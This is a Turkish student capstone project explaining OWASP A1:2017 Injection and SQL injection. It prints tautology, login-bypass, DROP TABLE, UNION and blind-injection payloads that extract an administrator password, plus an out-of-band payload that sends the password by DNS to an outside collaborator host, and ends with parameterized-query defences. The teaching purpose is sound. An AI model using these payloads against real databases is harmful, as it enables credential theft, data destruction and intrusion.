81 İLDE SİBER KAHRAMAN

Siber Güvenlik Uzmanlığı Sertifika Programı

Kurs Bitirme Projesi

OWASP A1: 2017-Injection

Ahmet Faruk Ulutaş

İÇİNDEKİLER

1. OWASP NEDİR?

OWASP, geliştiriciler ve web uygulaması güvenliği için hazırlanmış bir dokümandır. En kritik güvenlik riskleri için geniş bir fikir birliğini temsil eder. Güvenli kod geliştirme için en etkili adımdır.

2. A1: 2017-INJECTION NEDİR?

Enjeksiyon zafiyeti yetkisiz şekilde komut ve sorguların çalıştırılmasını ve istenmeyen veri erişimlerine sebep olabilir. En bilinen örnekleri SQL, NoSQL, OS ve LDAP'dır.

Hemen hemen her veri kaynağı enjeksiyon vektörü olabilir (ortam değişkenleri, parametreler, harici ve dahili web servisleri ve her tür kullanıcı).

Eski kodlarda daha yaygın olmak üzere en çok karşılaşılan zafiyettir. Kodu incelerken enjeksiyon kusurlarını keşfetmek kolaydır. Tarayıcılar ve fuzzers, saldırganların enjeksiyon kusurlarını bulmasına yardımcı olabilir.

Enjeksiyon zafiyeti, veri kaybına, bozulmasına veya yetkisiz taraflara ifşa edilmesine, hesap verebilirliğin kaybolmasına veya erişimin reddedilmesine neden olabilir. Enjeksiyon bazen ana bilgisayarın tamamen devralınmasına neden olabilir. İş etkisi, uygulamanın ve verilerin gereksinimlerine bağlıdır.

a. Uygulama Ne Zaman Savunmasızdır?

Bir uygulama şu durumlarda saldırıya açıktır:

- Kullanıcı tarafından sağlanan veriler, uygulama tarafından doğrulanmaz, filtrelenmez veya temizlenmez.
- Dinamik sorgular veya bağlama duyarlı kaçış olmadan parametrelenmemiş çağrılar doğrudan yorumlayıcıda kullanılır.
- Düşmanca veriler, ek, hassas kayıtları çıkarmak için nesne ilişkisel eşleme (ORM) arama parametreleri içinde kullanılır.
- Düşman verileri doğrudan kullanılır veya birleştirilir, öyle ki SQL veya komut, dinamik sorgularda, komutlarda veya saklı yordamlarda hem yapı hem de düşmanca verileri içerir.

b. Nasıl Önlenir?

Enjeksiyonun önlenmesi için verilerin komutlardan ve sorgulardan ayrı tutulması gerekir.

Tercih edilen seçenek, yorumlayıcı kullanımını tamamen önleyen veya parametreli bir arabirim sağlayan güvenli bir API kullanmak veya Nesne İlişkisel Eşleme Araçlarını (ORM'ler) kullanmaya geçiş yapmaktır.

Pozitif veya "beyaz liste" sunucu tarafı giriş doğrulaması kullanın.

Pek çok uygulama, metin alanları veya mobil uygulamalar için API'ler gibi özel karakterler gerektirdiğinden, bu tam bir savunma değildir. Herhangi bir artık dinamik sorgu için, o yorumlayıcıya özel kaçış sözdizimini kullanarak özel karakterlerden kaçın.

SQL enjeksiyonu durumunda kayıtların toplu olarak ifşa edilmesini önlemek için sorgularda LIMIT ve diğer SQL kontrollerini kullanın.

3. SQL INJECTION

SQL enjeksiyonu, veri tabanınızı yok edebilecek bir kod enjeksiyon tekniğidir. En yaygın web hacking tekniklerinden biridir. Kötü amaçlı kodun SQL ifadelerine web sayfası veri girişi yoluyla yerleştirilmesidir.

a. SQL Enjeksiyonu Güvenlik Açıkları Nasıl Tespit Edilir?

SQL enjeksiyonu, uygulamadaki her giriş noktasına karşı sistematik bir test seti kullanılarak manuel olarak tespit edilebilir. Bu genellikle şunları içerir:

- Tek tırnak karakterini ' gönderip hata ve diğer anormallikleri arama.
- Giriş noktasının temel (orijinal) değerine ve farklı bir değere göre değerlendirilen SQL'e özgü bazı sözdizimlerini göndermek ve sonuçta ortaya çıkan uygulama yanıtlarında sistematik farklılıklar aramak.
- OR 1=1 ve OR 1=2 gibi boolean koşulları gönderme ve uygulamanın yanıtlarındaki farklılıkları arama.
- Bir SQL sorgusu içinde yürütüldüğünde zaman gecikmelerini tetiklemek için tasarlanmış yükleri göndermek ve yanıt vermek için geçen süredeki farklılıkları aramak.

- Bir SQL sorgusu içinde yürütüldüğünde bant dışı ağ etkileşimini tetiklemek için tasarlanmış OAST yüklerini gönderme ve sonuçta ortaya çıkan etkileşimleri izleme.

4. WEB SAYFALARINDA SQL

SQL enjeksiyonu genellikle bir kullanıcıdan kullanıcı adı/kimliği gibi bir girdi istediğinizde gerçekleşir ve bir ad/kimlik yerine kullanıcı size bilmeden veri tabanınızda çalıştıracağınız bir SQL ifadesi verir.

a. 1=1'e Dayalı SQL Enjeksiyonu

Eğer kullanıcının girdiği girdiler kontrol edilmiyorsa sql sorgunuz manipüle edilebilir.

txtUserId = getRequestString("UserId");

Yukarıdaki satırda kullanıcıdan veri girişi alınmaktadır ve olduğu gibi aşağıdaki satırda kullanılmaktadır.

txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

Eğer kullanıcı burada **81 OR 1=1** gibi bir veri girerse SQL sorgusu şu şekilde görünecektir.

SELECT * FROM Users WHERE UserId = 105 OR 1=1;

Yukarıdaki SQL sorgusunda **1=1** her zaman doğru olduğundan Users tablosu içerisindeki bütün satırları döndürecektir. Örneğin, kullanıcılar tablosu isimler ve şifreler içeriyorsa kullanıcı bu sorgu ile bütün kullanıcıların isimlerini ve şifrelerini elde edecektir.

b. ""="" Temelli SQL Enjeksiyonu

uName = getRequestString("username");

uPass = getRequestString("userpassword");

sql = 'SELECT * FROM Users WHERE Name ='" + uName + "' AND Pass ='" + uPass + ""

Yukarıdaki SQL sorgusunda, bir bilgisayar korsanı, yalnızca kullanıcı adı veya parola metin kutusuna **" OR ""="** ekleyerek bir veri tabanındaki kullanıcı adlarına ve parolalara erişebilir.

SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""

Sorgu yukarıdaki gibi görünecektir. Sorgunun bütün satırları döndürmesinin sebebi **OR ""=""** verisinin her zaman doğru olmasından kaynaklanır.

c. Toplu SQL İfadelerine Dayalı SQL Enjeksiyonu

Çoğu veri tabanı toplu SQL deyimini destekler. SQL deyimleri grubu, noktalı virgülle ayrılmış iki veya daha fazla SQL deyiminden oluşan bir gruptur. Aşağıdaki SQL ifadesi, "Users" tablosundaki tüm satırları döndürecek ve ardından "Suppliers" tablosunu silecektir.

SELECT * FROM Users; DROP TABLE Suppliers

Aşağıdaki örneği inceleyelim:

txtUserId = getRequestString("UserId");

txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

Örneğe, **105; DROP TABLE** Suppliers bu şekilde bir veri girişi yapılırsa, SQL sorgusu aşağıdaki gibi görünecektir.

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;

5. YAYGIN SQL ENJEKSİYONU ÖRNEKLERİ

a. SQL Sorgusunu Değiştirerek Ekstra Sonuçlar Döndürmek

Aşağıdaki örnek web sitemiz olsun,

https://insecure-website.com/products?category=Gifts

Döndüreceği sorgu şu şekilde olacaktır,

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

Eğer uygulamanın SQL enjeksiyonuna karşı herhangi bir savunması yoksa,

https://insecure-website.com/products?category=Gifts'--

Böylece **--** ‘den sonrası olan **AND released = 1** yorum olarak gözükecek ve etkisi olmayacaktır. Bunun sonucunda unreleased ürünlerde listelenmiş olacaktır.

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1

Saldırkan biraz daha ileri gidebillir,

https://insecure-website.com/products?category=Gifts'+OR+1=1--

Sorgu aşağıdaki gibi olacaktır,

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

Dikkat ettiğiniz üzere **Gifts' OR 1=1** her zaman doğru olduğu için bütün kategoriyi döndürecektir.

b. Uygulama Mantığını Altüst Etme – Login Bypass

Bir uygulamaya giriş yaptığımızı düşünelim. Kullanıcı adımız 'siber', şifremiz 'kahraman' olsun. Sorgumuz aşağıdaki gibi olacaktır.

SELECT * FROM users WHERE username = 'siber' AND password = 'kahraman'

Eğer bilgi doğru ise giriş yapacaktır. Yanlışsa, red edilecektir. Saldırgan burada şu şekilde bir giriş denemesi yapabilir ve giriş kontrolünü baypass edebilir.

Kullanıcı adı **admin'--** ve şifre yok. Sorgu aşağıdaki gibi olacaktır.

SELECT * FROM users WHERE username = 'admin'--' AND password = ''

Şifrenin boş bırakılmasının sebebi **WHERE** maddesinin kullanılması ve kullanıcı adından sonrasının yorum olmasıdır. Burada SQL sorgusu kullanıcı adı admin olan kişi varsa bulur ve giriş yapar.

c. Veri Tabanındaki Diğer Tablolardan Veri Çekme - UNION Tabanlı Saldırı

Veri girişi yapabildiğimiz bir alan olduğunu varsayalım ve sorgumuz aşağıdaki gibi olsun.

SELECT name, description FROM products WHERE category = 'Gifts'

Bu noktada saldırgan girdiyi şu şekilde değiştirirse **' UNION SELECT username, password FROM users--** SQL sorgusu arka plandaki bütün kullanıcı adı ve şifreleri getirecektir.

SELECT name, description FROM products WHERE category = '' UNION SELECT username, password FROM users-- '

ç. Veri Tabanını İncelemek

SQL enjeksiyonu yaptığınız bir veri tabanından bilgi toplamak mantıklıdır. Bu noktada aşağıdaki sorgu şekillerini kullanabilirsiniz.

Versiyon bilgisini almak için,

SELECT * FROM v$version

Veri tabanındaki tabloları görmek için,

SELECT * FROM information_schema.tables

d. Kör SQL Enjeksiyonu – Blind SQL Injection

Kör SQL Enjeksiyonu, uygulamanın SQL sorgusunun sonuçlarını veya yanıtlarında herhangi bir veri tabanı hatasının ayrıntılarını döndürmediği anlamına gelir. Bu açıktan, yetkisiz verilere erişmek için hala yararlanılabilir, ancak ilgili teknikler genellikle daha karmaşık ve gerçekleştirilmesi zordur.

Kör SQL Enjeksiyonu hatalarını tetiklemenin çeşitli yolları vardır. Sonuç almak için, farklı veri tabanlarında farklı teknikler denemek gerekir.

i. Koşullu Yanıtları Tetikleyerek Kör SQL Enjeksiyonunu Kullanma

Gönderilen sorgular ile her sorgu'da 1 bit'lik veri alınır ve buna göre istenen veriler elde edilir. Örneğin;

…xyz' AND '1'='1 --> Bu sorgu doğru olduğu için giriş sayfası gelir.

…xyz' AND '1'='2 --> Bu sorgu yanlış olduğu için sonuç dönmez.

Yani, istediğimiz verileri 1 bit'lik true ve false'lara göre belirleyeceğiz.

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

Yukarıdaki sorgu doğru olduğu için giriş sayfasını veriyor. Buradan yola çıkarak Administrator kullanıcısının şifresinin ilk karakterinin m'den büyük olduğunu anlıyoruz. Çünkü, sonucumuz doğru dönmüş oldu.

Bu şekilde tek tek deneyerek bütün karakterler belirlenir ve şifre elde edilmiş olur.

ii. SQL Hatalarını Tetikleyerek Koşullu Yanıtlar Oluşturma

Koşullu Yanıtları Tetiklemenin işe yaramadığı benzer bir durumda, hatalar tetiklenerek istenen veriler 1'er bitler halinde elde edilebilir.

Aşağıdaki sorgularda CASE parametresi kullanılarak, uygulamanın hata vermeyen 'a' ifadesini okumasını veya hata veren 1/0 ifadesini okumasını sağlayabiliriz.

İlk sorgu hata vermeyecektir. Çünkü 'a' hiç bir sorun oluşturmaz.

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a

İkinci sorgu hata verecektir. Çünkü 1/0 ifadesi tanımsızdır ve HTTP response'unda değişikliğe yol açar.

xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Bu şekilde HTTP response'unda hata oluşturarak sql injection gerçekleştirebiliriz. Örneğin;

Aşağıdaki sorguda, Koşullu Tetikleme mantığı ile aynı şekilde birer bitlik veriler hata alma durumuna göre kontrol edilerek kullanıcı şifresi elde edilir.

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

iii. Zaman Gecikmelerini Tetikleyerek Kör SQL Enjeksiyonunu Kullanma

Koşulların ve hataların yönetildiği ve filtrelendiği bir veri tabanında, yukarıdaki kör SQL enjeksiyon yöntemleri işe yaramayacaktır. Bu durumda, zaman gecikmeleri sorgu ile eş zamanlı çalıştığı için zaman gecikmeleri tetiklenerek veri tabanını sömürülebilir.

Aşağıdaki örnekte **1=2** ifadesi yanlış olduğu için zaman gecikmesi tetiklenmez.

'; IF (1=2) WAITFOR DELAY '0:0:10'--

Aşağıdaki örnekte **1=1** ifadesi doğru olduğu için 10 saniyelik zaman gecikmesi tetiklenir.

'; IF (1=1) WAITFOR DELAY '0:0:10'--

Kör SQL enjeksiyonunun diğer örneklerinde olduğu gibi her seferinde bir karakter test edilerek veri tabanından istenen bilgi elde edilebilir.

delay kısmına süre değeri verilerek aşağıdaki örnek kullanılabilir.

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

iv. Out-of-Band (OAST) Teknikleri Kullanarak Kör SQL Enjeksiyonunu Kullanma

Zaman gecikmelerinin senkronize olarak çalışmadığı durumlarda, daha önce bahsedilen yöntemlerin hiç biri çalışmayacaktır. Bu durumda, OAST teknikleri kullanılarak veriler direkt olarak bant dışı sorgulara eklenerek elde edilebilir.

Örneğin, aşağıdaki payload kullanılarak, @p isimli bir string değeri oluşturulur. Bu değerin içinde istenen sorgu eklenir. Daha sonra veri tabanı listelenerek sorgu çalıştırılır ve benzersiz alt alan adresine eklenir ve DNS aramasını tetikler.

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Yukarıdaki sorgu sonucunda aşağıdaki gibi bir sonuç dönecektir.

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

Şifre görüldüğü üzere **S3cure** olarak belirttiğimiz alana eklendi.

6. SQL Enjeksiyonundan Korunmak için SQL Parametreleri

Kullanıcıdan veri girişi amaçlanan SQL sorgusunun yapısına müdahale etmemesini sağlayan parametreli sorguların dikkatli kullanımıyla SQL enjeksiyon saldırıları önlenebilir.

Sitemizi SQL enjeksiyonundan korumak için yine SQL parametrelerini kullanabiliriz. SQL parametreleri çalışma zamanında kontrollü şekilde SQL sorgularını eklenir.

txtUserId = getRequestString("UserId");

txtSQL = "SELECT * FROM Users WHERE UserId = @0";

db.Execute(txtSQL,txtUserId);

Yukarıdaki örnekte @ işareti ile tanımlanmıştır. Yukarıdaki örnekte SQL motoru, yürütülecek SQL parçasını değil, tamamını ele alır ve her parametreyi kontrol eder.

7. Kaynakça

https://owasp.org/www-project-top-ten/

https://owasp.org/www-project-top-ten/2017/A1_2017-Injection

https://www.w3schools.com/sql/sql_injection.asp

https://portswigger.net/web-security/sql-injection

https://en.wikipedia.org/wiki/SQL_injection